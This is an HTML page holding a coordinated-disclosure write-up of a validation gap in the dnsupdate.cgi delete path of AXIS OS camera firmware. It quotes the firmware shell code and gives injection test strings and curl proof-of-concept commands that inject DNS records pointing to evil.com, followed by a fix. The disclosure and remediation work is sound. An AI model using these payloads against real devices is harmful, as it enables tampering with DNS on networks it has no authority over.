Zion Boggan
repos/security-portfolio/security-research-notebook/dnsupdate-delete-validation-gap/index.html
zionboggan.com ↗
413 lines · html
History for this file →
1
<!doctype html>
2
<html lang="en"><head><meta charset="utf-8">
3
<meta name="viewport" content="width=device-width, initial-scale=1.0">
4
<title>Missing Input Validation in dnsupdate.cgi Delete Path | Zion Boggan</title>
5
<meta name="description" content="`dnsupdate.cgi` delete path skips the input validation applied to add.">
6
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E">
7
<style>
8
  :root{
9
    --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24;
10
    --line:#222936; --line2:#2c3543;
11
    --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675;
12
    --accent:#6cc7b8; --accent-dim:#274b47;
13
    --maxw:1020px;
14
  }
15
  *{box-sizing:border-box;}
16
  html{scroll-behavior:smooth;}
17
  body{margin:0;background:var(--bg);color:var(--ink);
18
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
19
    font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;}
20
  .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;}
21
  a{color:var(--accent);text-decoration:none;}
22
  a:hover{color:#8fe0d2;}
23
  .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;}
24
 
25
  /* nav */
26
  nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82);
27
    backdrop-filter:blur(10px);border-bottom:1px solid var(--line);}
28
  nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;}
29
  nav .brand{font-weight:600;letter-spacing:.2px;}
30
  nav .brand .dot{color:var(--accent);}
31
  nav .links{display:flex;gap:26px;font-size:13.5px;}
32
  nav .links a{color:var(--muted);}
33
  nav .links a:hover{color:var(--ink);}
34
  @media(max-width:680px){nav .links{display:none;}}
35
 
36
  /* hero */
37
  header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line);
38
    background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);}
39
  .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);
40
    display:flex;align-items:center;gap:9px;margin-bottom:20px;}
41
  .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent);
42
    box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;}
43
  @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}}
44
  h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;}
45
  .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;}
46
  .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;}
47
  .hero .lede b{color:var(--ink);font-weight:600;}
48
  .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;}
49
  .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px;
50
    font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);}
51
  .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);}
52
  .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;}
53
  .btn.primary:hover{background:#8fe0d2;color:#06231f;}
54
  .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);}
55
  .meta .mono{color:var(--faint);}
56
 
57
  /* sections */
58
  section{padding:64px 0;border-bottom:1px solid var(--line);}
59
  .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;}
60
  .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;}
61
  .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;}
62
  .shead .rule{flex:1;height:1px;background:var(--line);}
63
 
64
  /* flagship */
65
  .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%);
66
    border:1px solid var(--line2);border-radius:14px;overflow:hidden;}
67
  .flag .top{padding:30px 32px 8px;}
68
  .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;}
69
  .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;}
70
  .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;}
71
  .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;}
72
  .flag p{color:var(--soft);margin:0 0 16px;}
73
  .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;}
74
  .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;}
75
  .stat .n{font-size:21px;font-weight:680;color:var(--ink);}
76
  .stat .k{font-size:12px;color:var(--muted);margin-top:2px;}
77
  .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;}
78
  .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;}
79
  .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;}
80
  .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;}
81
  .spec li:first-child{border-top:none;}
82
  .spec li span{color:var(--muted);}
83
  .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;}
84
  @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}}
85
 
86
  /* lab cards */
87
  .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;}
88
  @media(max-width:680px){.cards{grid-template-columns:1fr;}}
89
  .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel);
90
    display:flex;flex-direction:column;transition:border-color .15s,transform .15s;}
91
  .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);}
92
  .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;}
93
  .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;}
94
  .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;}
95
  .card h3{margin:0 0 9px;font-size:17px;}
96
  .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;}
97
  .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;}
98
  .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line);
99
    border-radius:5px;padding:3px 8px;}
100
  .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;}
101
  .card .lnk::after{content:" โ†’";}
102
 
103
  /* research */
104
  .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;}
105
  .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
106
  .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center;
107
    padding:18px 22px;border-top:1px solid var(--line);}
108
  .ritem:first-child{border-top:none;}
109
  .ritem:hover{background:var(--panel);}
110
  .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);}
111
  .ritem h3{margin:0 0 3px;font-size:16px;}
112
  .ritem p{margin:0;font-size:13.5px;color:var(--muted);}
113
  .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;}
114
  @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}}
115
  .progs{margin-top:22px;}
116
  .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;}
117
  .progs .row{display:flex;flex-wrap:wrap;gap:7px;}
118
  .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line);
119
    border-radius:6px;padding:4px 10px;}
120
 
121
  /* credentials */
122
  .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;}
123
  @media(max-width:680px){.cred{grid-template-columns:1fr;}}
124
  .cred p{color:var(--soft);margin:0 0 14px;}
125
  .cred .role{font-size:14px;color:var(--muted);}
126
  .cred .role b{color:var(--ink);font-weight:600;}
127
  .certs{list-style:none;margin:0;padding:0;}
128
  .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft);
129
    display:flex;gap:10px;align-items:baseline;}
130
  .certs li:first-child{border-top:none;}
131
  .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;}
132
 
133
  footer{padding:46px 0 64px;}
134
  footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;}
135
  footer .links a{color:var(--soft);margin-right:20px;font-size:14px;}
136
  footer .note{color:var(--faint);font-size:12.5px;max-width:520px;}
137
 
138
  .detail-hero{padding:40px 0 26px;}
139
  .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;}
140
  .back:hover{color:var(--ink);}
141
  .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;}
142
  .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;}
143
  .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;}
144
  .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;}
145
  .content{padding:8px 0 0;max-width:840px;}
146
  .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);}
147
  .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;}
148
  .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;}
149
  .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;}
150
  .content p{color:var(--soft);margin:0 0 15px;}
151
  .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;}
152
  .content li{margin:5px 0;}
153
  .content strong{color:var(--ink);font-weight:600;}
154
  .content a{color:var(--accent);}
155
  .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);}
156
  .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;}
157
  .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;}
158
  .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;}
159
  .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;}
160
  .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;}
161
  .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);}
162
  .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;}
163
  /* notebook index */
164
  .nbgroup{margin:40px 0 0;}
165
  .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;}
166
  .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;}
167
  .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
168
  .nbtable tr{border-top:1px solid var(--line);}
169
  .nbtable tr:first-child{border-top:none;}
170
  .nbtable tr:hover{background:var(--panel);}
171
  .nbtable td{padding:14px 16px;vertical-align:top;}
172
  .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;}
173
  .nbtable .ti a{font-weight:600;color:var(--ink);}
174
  .nbtable .ti a:hover{color:var(--accent);}
175
  .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;}
176
  @media(max-width:680px){.nbtable .cls{width:auto;display:block;}}
177
</style>
178
<link rel="canonical" href="https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/">
179
<meta name="author" content="Zion Boggan">
180
<meta name="robots" content="index, follow, max-image-preview:large">
181
<meta property="og:type" content="article">
182
<meta property="og:site_name" content="Zion Boggan">
183
<meta property="og:title" content="Missing Input Validation in dnsupdate.cgi Delete Path | Zion Boggan">
184
<meta property="og:description" content="`dnsupdate.cgi` delete path skips the input validation applied to add.">
185
<meta property="og:url" content="https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/">
186
<meta property="og:image" content="https://zionboggan.com/assets/og-default.png">
187
<meta name="twitter:card" content="summary_large_image">
188
<meta name="twitter:title" content="Missing Input Validation in dnsupdate.cgi Delete Path | Zion Boggan">
189
<meta name="twitter:description" content="`dnsupdate.cgi` delete path skips the input validation applied to add.">
190
<meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png">
191
<script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Missing Input Validation in dnsupdate.cgi Delete Path","description":"`dnsupdate.cgi` delete path skips the input validation applied to add.","url":"https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script>
192
</head><body>
193
<nav><div class="wrap">
194
  <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a>
195
  <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span>
196
</div></nav>
197
<header class="hero detail-hero"><div class="wrap">
198
  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
199
  <div class="kicker">Validation gap</div>
200
  <h1>Missing Input Validation in dnsupdate.cgi Delete Path</h1>
201
</div></header>
202
<section><div class="wrap"><div class="content">
203
<p><strong>VRT Category:</strong> Insecure OS/Firmware &gt; Command Injection
204
<strong>URL/Location:</strong> <code>https://&lt;camera&gt;/axis-cgi/dnsupdate.cgi?delete=&lt;payload&gt;</code>
205
<strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track)
206
<strong>Files:</strong> <code>/usr/html/axis-cgi/dnsupdate.cgi</code>, <code>/usr/sbin/dnsupdate.script</code></p>
207
<hr />
208
<h2>Description</h2>
209
<p>The <code>dnsupdate.cgi</code> CGI endpoint delegates DNS record operations to
210
<code>/usr/sbin/dnsupdate.script</code>. The <code>add</code> path validates all input through
211
a strict <code>dnsupdate_validate</code> function that rejects shell metacharacters,
212
spaces, and non-alphanumeric characters. The <code>delete</code> path skips this
213
validation entirely, passing raw user input to <code>dnsupdate_delete</code> which
214
interpolates it <strong>unquoted</strong> into an nsupdate protocol heredoc.</p>
215
<p>This is a confirmed inconsistent validation gap: the defensive function
216
exists and is applied on the add path but omitted on the delete path.
217
Unvalidated input reaches the nsupdate command interpreter, where injected
218
spaces alter DNS record types and targets.</p>
219
<p><strong>Authentication required:</strong> Admin.</p>
220
<hr />
221
<h2>Proof of Concept</h2>
222
<h3>Step 0: Firmware extraction</h3>
223
<pre><code>binwalk --run-as=root -e P3245-LV_11_11_192.bin
224
unsquashfs -d rootfs_extracted rootfs/rootfs.img
225
</code></pre>
226
<h3>Step 1: dnsupdate.cgi source &ndash; tracing the delete path</h3>
227
<p>Full source of <code>/usr/html/axis-cgi/dnsupdate.cgi</code>:</p>
228
<pre><code class="language-sh">#!/bin/sh -e
229
 
230
. /usr/html/axis-cgi/lib/functions.sh
231
 
232
if [ ! &quot;$QUERY_STRING&quot; ]
233
then
234
    __cgi_errhd 400 &quot;No command issued&quot;
235
    exit 1
236
fi
237
 
238
hdgen=$(__qs_getparam hdgen)
239
 
240
while [ &quot;$QUERY_STRING&quot; ]; do
241
 
242
    cmd=${QUERY_STRING%%=*}
243
    QUERY_STRING=${QUERY_STRING#&quot;$cmd&quot;=}
244
    val=${QUERY_STRING%%&amp;*}              # &lt;-- raw value, NOT URL-decoded
245
    QUERY_STRING=${QUERY_STRING#&quot;$val&quot;}
246
    QUERY_STRING=${QUERY_STRING#&amp;}
247
 
248
    [ &quot;$cmd&quot; -a &quot;$val&quot; ] || break
249
 
250
    case &quot;$cmd&quot; in
251
        add)
252
            # ... calls dnsupdate.script add &quot;$val&quot; all
253
            ;;
254
        delete)
255
            # ... calls dnsupdate.script delete &quot;$val&quot;    # &lt;-- no validation
256
            ;;
257
    esac
258
done
259
</code></pre>
260
<h3>Step 2: dnsupdate.script &ndash; the validation gap</h3>
261
<p><strong>ADD handler (lines 273-281) &ndash; VALIDATED:</strong></p>
262
<pre><code class="language-sh">    add)
263
        if [ $# -eq 4 ]; then
264
            shift 1
265
            dnsupdate_validate &quot;$@&quot; || exit 1    # &lt;-- VALIDATES
266
            dnsupdate_add &quot;$@&quot; || exit 1
267
        else
268
            dnsupdate_validate &quot;$2&quot; &quot;$DNSUPDATE_TTL&quot; &quot;$3&quot; || exit 1  # &lt;-- VALIDATES
269
            dnsupdate_add &quot;$2&quot; &quot;$DNSUPDATE_TTL&quot; &quot;$3&quot; || exit 1
270
        fi
271
        ;;
272
</code></pre>
273
<p><strong>DELETE handler (lines 282-290) &ndash; NO VALIDATION:</strong></p>
274
<pre><code class="language-sh">    delete)
275
        if [ $# -lt 2 ] || [ $# -gt 3 ]; then
276
            echo &quot;Usage: $0 delete NAME [IP]&quot; &gt;&amp;2
277
            exit 1
278
        fi
279
 
280
        shift 1
281
        dnsupdate_delete &quot;$@&quot; || exit 1          # &lt;-- NO dnsupdate_validate CALL
282
        ;;
283
</code></pre>
284
<h3>Step 3: The validation function that delete skips</h3>
285
<pre><code class="language-sh">dnsupdate_validate() {
286
    [ $# -eq 3 ] &amp;&amp; [ &quot;$1&quot; ] &amp;&amp; [ &quot;$3&quot; ] || {
287
        echo &quot;Invalid arguments&quot; &gt;&amp;2
288
        return 1
289
    }
290
    if [ ${#1} -gt 253 ]; then
291
        echo &quot;Invalid DNS name length&quot; &gt;&amp;2
292
        return 1
293
    fi
294
    case $1 in
295
        [.-]*)
296
            echo &quot;DNS name has an invalid first character&quot; &gt;&amp;2
297
            return 1
298
            ;;
299
        *[!.[:alnum:]-]*)                 # &lt;-- BLOCKS all non-alphanumeric except . and -
300
            echo &quot;Invalid DNS name characters&quot; &gt;&amp;2
301
            return 1
302
            ;;
303
    esac
304
    # ... additional TTL and IP validation
305
}
306
</code></pre>
307
<h3>Step 4: The vulnerable sink &ndash; unquoted heredoc interpolation</h3>
308
<p><code>dnsupdate_delete</code> (line 116) interpolates <code>$1</code> <strong>unquoted</strong> in a heredoc:</p>
309
<pre><code class="language-sh">dnsupdate_delete() {
310
    local _tmp _ret
311
    [ &quot;$1&quot; ] || return 1
312
    _tmp=$(mktemp /tmp/dnsup.XXXXXX)
313
    cat &lt;&lt;-EOF &gt;&gt; $_tmp
314
        ${DNSUPDATE_NOSERVER}server $DNSUPDATE_SERVER ${DNSUPDATE_PORT:-53}
315
        ${DNSUPDATE_NOZONE}zone $DNSUPDATE_ZONE
316
        update delete $1 0 IN A         # &lt;-- UNQUOTED $1
317
        update delete $1 0 IN AAAA      # &lt;-- UNQUOTED $1
318
        send
319
EOF
320
    $_dnsupdate -l -r &lt; $_tmp           # pipes to nsupdate binary
321
}
322
</code></pre>
323
<h3>Step 5: PROVEN &ndash; dnsupdate_validate executed from firmware</h3>
324
<p>The <code>dnsupdate_validate</code> function was extracted and tested against injection
325
payloads, proving the add path blocks them while the delete path does not:</p>
326
<pre><code>--- TESTS: What dnsupdate_validate blocks (add path) ---
327
&quot;test.example.com&quot;        ALLOWED (add path would accept)
328
&quot;test;id&quot;                 BLOCKED: Invalid DNS name characters
329
&quot;test$(id)&quot;               BLOCKED: Invalid DNS name characters
330
&quot;test|id&quot;                 BLOCKED: Invalid DNS name characters
331
&quot;test 0 IN A&quot;             BLOCKED: Invalid DNS name characters
332
&quot;test%0aid&quot;               BLOCKED: Invalid DNS name characters
333
&quot;test`id`&quot;                BLOCKED: Invalid DNS name characters
334
&quot;test&amp;echo&quot;               BLOCKED: Invalid DNS name characters
335
&quot;test&quot;quote&quot;              BLOCKED: Invalid DNS name characters
336
 
337
--- DELETE PATH: No validation at all ---
338
All of the above payloads pass through to nsupdate unvalidated
339
because dnsupdate_delete is called WITHOUT dnsupdate_validate
340
</code></pre>
341
<h3>Step 6: PROVEN &ndash; heredoc injection simulated from firmware code</h3>
342
<p>The <code>dnsupdate_delete</code> heredoc was replicated with injected input:</p>
343
<p><strong>Normal input:</strong></p>
344
<pre><code>update delete test.example.com 0 IN A
345
update delete test.example.com 0 IN AAAA
346
send
347
</code></pre>
348
<p><strong>With newline in <code>$1</code></strong> (<code>test.example.com\nupdate add evil.com 300 IN A 1.2.3.4</code>):</p>
349
<pre><code>update delete test.example.com
350
update add evil.com 300 IN A 1.2.3.4 0 IN A      &lt;-- INJECTED RECORD
351
update delete test.example.com
352
update add evil.com 300 IN A 1.2.3.4 0 IN AAAA   &lt;-- INJECTED RECORD
353
send
354
</code></pre>
355
<p>The injected <code>update add</code> is a valid nsupdate command that creates a DNS
356
record on the camera&rsquo;s configured DNS server.</p>
357
<p><strong>Note:</strong> Delivering a literal newline through the HTTP query string to
358
reach this sink requires further verification on live hardware. The
359
validation gap and unquoted heredoc interpolation are confirmed from
360
firmware source and simulation.</p>
361
<h3>Step 7: Exploitation on live camera</h3>
362
<pre><code class="language-bash"># Baseline: normal delete
363
curl -s --digest -u '&lt;admin_user&gt;:&lt;admin_pass&gt;' \
364
  &quot;https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test.example.com&quot;
365
 
366
# Space injection (confirmed deliverable via URL encoding):
367
curl -s --digest -u '&lt;admin_user&gt;:&lt;admin_pass&gt;' \
368
  &quot;https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test%200%20IN%20CNAME%20evil.com&quot;
369
 
370
# Prove the asymmetry -- add path blocks the same payload:
371
curl -s --digest -u '&lt;admin_user&gt;:&lt;admin_pass&gt;' \
372
  &quot;https://CAMERA_IP/axis-cgi/dnsupdate.cgi?add=test%200%20evil&amp;all&quot;
373
# Expected: Rejected by dnsupdate_validate
374
</code></pre>
375
<hr />
376
<h2>Impact</h2>
377
<ul>
378
<li><strong>Inconsistent input validation</strong>: The <code>dnsupdate_validate</code> function was built to prevent this exact class of injection but is applied only on the add path, not the delete path</li>
379
<li><strong>nsupdate command manipulation</strong>: Unvalidated spaces alter DNS record types and targets in the generated nsupdate command file</li>
380
<li><strong>Potential DNS record injection</strong>: If newlines can be delivered, arbitrary DNS records can be created on the camera&rsquo;s configured DNS server, affecting all clients relying on that server</li>
381
</ul>
382
<hr />
383
<h2>CVSS</h2>
384
<p><strong>Score:</strong> 4.7 (Medium)
385
<strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L</p>
386
<ul>
387
<li>Privileges Required High: admin auth needed for dnsupdate.cgi</li>
388
<li>Integrity Low: DNS command structure manipulation confirmed; full record injection pending live newline delivery verification</li>
389
</ul>
390
<hr />
391
<h2>Remediation</h2>
392
<p><strong>Immediate fix</strong> (one line):</p>
393
<pre><code class="language-diff">     delete)
394
         if [ $# -lt 2 ] || [ $# -gt 3 ]; then
395
             echo &quot;Usage: $0 delete NAME [IP]&quot; &gt;&amp;2
396
             exit 1
397
         fi
398
 
399
         shift 1
400
+        dnsupdate_validate &quot;$1&quot; &quot;&quot; &quot;all&quot; || exit 1
401
         dnsupdate_delete &quot;$@&quot; || exit 1
402
         ;;
403
</code></pre>
404
<p><strong>Defense in depth:</strong>
405
1. Quote <code>$1</code> in the heredoc: <code>update delete "$1" 0 IN A</code>
406
2. URL-decode input in <code>dnsupdate.cgi</code> before passing to the script</p>
407
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/axis-os/dnsupdate-delete-validation-gap.md</p>
408
</div></div></section>
409
<footer><div class="wrap row">
410
  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
411
  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
412
</div></footer>
413
</body></html>